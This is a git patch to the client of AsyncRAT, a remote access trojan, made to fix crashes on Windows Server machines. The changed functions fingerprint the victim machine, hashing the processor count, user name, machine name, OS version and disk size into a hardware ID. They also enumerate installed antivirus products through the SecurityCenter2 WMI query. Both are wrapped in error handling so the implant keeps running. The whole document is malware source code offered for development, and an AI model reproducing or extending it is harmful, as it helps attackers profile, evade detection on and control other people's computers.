From 2b248abf05590331f3ed3b4f2cc1ecc40ce3af5f Mon Sep 17 00:00:00 2001 From: NYAN CAT Date: Sun, 15 Sep 2019 22:13:01 +0300 Subject: [PATCH] Fixed windows server errors --- AsyncRAT-C#/Client/Helper/Methods.cs | 41 +++++++++++++++++++--------- 1 file changed, 28 insertions(+), 13 deletions(-) diff --git a/AsyncRAT-C#/Client/Helper/Methods.cs b/AsyncRAT-C#/Client/Helper/Methods.cs index 3004f9f..50de55b 100644 --- a/AsyncRAT-C#/Client/Helper/Methods.cs +++ b/AsyncRAT-C#/Client/Helper/Methods.cs @@ -23,13 +23,21 @@ namespace Client.Helper public static string HWID() { - StringBuilder sb = new StringBuilder(); - sb.Append(Environment.ProcessorCount); - sb.Append(Environment.UserName); - sb.Append(Environment.MachineName); - sb.Append(Environment.OSVersion); - sb.Append(new DriveInfo(Path.GetPathRoot(Environment.SystemDirectory)).TotalSize); - return GetHash(sb.ToString()); + try + { + StringBuilder sb = new StringBuilder(); + sb.Append(Environment.ProcessorCount); + sb.Append(Environment.UserName); + sb.Append(Environment.MachineName); + sb.Append(Environment.OSVersion); + sb.Append(new DriveInfo(Path.GetPathRoot(Environment.SystemDirectory)).TotalSize); + return GetHash(sb.ToString()); + + } + catch + { + return "Err HWID"; + } } public static string GetHash(string strToHash) @@ -78,15 +86,22 @@ namespace Client.Helper public static string Antivirus() { - using (ManagementObjectSearcher antiVirusSearch = new ManagementObjectSearcher(@"\\" + Environment.MachineName + @"\root\SecurityCenter2", "Select * from AntivirusProduct")) + try { - List av = new List(); - foreach (ManagementBaseObject searchResult in antiVirusSearch.Get()) + using (ManagementObjectSearcher antiVirusSearch = new ManagementObjectSearcher(@"\\" + Environment.MachineName + @"\root\SecurityCenter2", "Select * from AntivirusProduct")) { - av.Add(searchResult["displayName"].ToString()); + List av = new List(); + foreach (ManagementBaseObject searchResult in antiVirusSearch.Get()) + { + av.Add(searchResult["displayName"].ToString()); + } + if (av.Count == 0) return "N/A"; + return string.Join(", ", av.ToArray()); } - if (av.Count == 0) return "None"; - return string.Join(", ", av.ToArray()); + } + catch + { + return "N/A"; } }